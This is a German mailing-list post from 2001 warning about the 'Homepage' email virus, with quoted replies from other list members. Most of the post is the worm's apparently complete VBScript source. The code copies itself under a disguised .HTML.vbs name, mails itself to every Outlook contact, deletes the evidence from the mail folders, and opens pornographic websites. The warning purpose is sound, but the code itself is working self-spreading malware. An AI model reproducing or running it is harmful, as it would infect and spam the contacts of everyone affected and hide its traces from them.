Vorsicht, Potentieller Virus (was RE: Homepage)

[Alex Bamesreiter]

Hi Liste, hab Euch mal den Sourcecode beigelegt um die Frage 'potentiell' zu
klären, ist so'n Kikiscript. Deshalb-> Schaltet Eure Explorerkonfiguration
auf Dateitypen einblenden und macht Euch ein Verzeichnis fr so'n Schrott, wo
Ihr es erst mal a könnt.
Zum VB-Script Lernen taugt's ja dann noch immer =;-}

Gruß Alex
Hier die Source:
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO= Createobject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2)

Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
Do While InF.AtEndOfStream<>True
ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop

Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
OutF.write ScriptBuffer
OutF.close
Set FSO=Nothing

If WS.regread ("HKCU\software\An\mailed") <> "1" then
Mailit()
End If

Set s=CreateObject("Outlook.Application")
Set t=s.GetNameSpace("MAPI")
Set u=t.GetDefaultFolder(6)
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).close
u.Items.Item(i).delete
End If
Next
Set u=t.GetDefaultFolder(3)
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).delete
End If
Next

Randomize
r=Int((4*Rnd)+1)
If r=1 then
WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm")
elseif r=2 Then
WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm")
elseif r=3 Then
WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm")
ElseIf r=4 Then
WS.Run("http://sheila.issexy.tv/1.htm")
End If

Function Mailit()
On Error Resume Next
Set Outlook = CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
 Set Mapi=Outlook.GetNameSpace("MAPI")
 Set Lists=Mapi.AddressLists
 For Each ListIndex In Lists
  If ListIndex.AddressEntries.Count <> 0 Then
   ContactCount = ListIndex.AddressEntries.Count
   For Count= 1 To ContactCount
    Set Mail = Outlook.CreateItem(0)
    Set Contact = ListIndex.AddressEntries(Count)
    Mail.To = Contact.Address
    Mail.Subject = "Homepage"
    Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page!
It's really cool ;O)"&vbcrlf&vbcrlf
    Set Attachment=Mail.Attachments
    Attachment.Add Folder & "\homepage.HTML.vbs"
    Mail.DeleteAfterSubmit = True
    If Mail.To <> "" Then
    Mail.Send
    WS.regwrite "HKCU\software\An\mailed", "1"
   End If
   Next
  End If
 Next
End if
End Function

-----Ursprüngliche Nachricht-----
Von: "Michael Raab" <raab.edv_(at)_gmx.de>
An: "SQL-Maillinglist" <mysql-de_(at)_lists.4t2.com>
Gesendet: Dienstag, 15. Mai 2001 12:38
Betreff: Re: Vorsicht, Potentieller Virus (was RE: Homepage)


Hallo,

at Tuesday 15.05.01 (10:00 +0200), Marco Kuprat wrote:
>nicht nur möglicherweise, das Teil ist absolut sicher ein Virus!
>Ein Bekannter von mir hat ihn am Donnerstag schon bekommen.
>Verbreitet sich, wie so viele Viren, an alle in Outlook gespeicherten
>Adressen, falls jemand dieses email-Programm verwendet.

Ich verwende zwar Eudora, habe das Teil trotzdem zweimal über diese Liste
bekommen.

>Also: sofort löschen!

Schon geschehen. ;-))

Gruß
Michael

--
Phone   +49 5723 98077-0
Fax     +49 5723 98077-1
Mobil   +49 173 4315914
http://www.macbyte-computing.de/

---
*** Weitere Infos zur Mailingliste und MySQL unter http://www.4t2.com/mysql


---
!!NEU!!
Fragen und Antworten zu MySQL und dieser Liste unter
-->>  http://www.4t2.com/mysql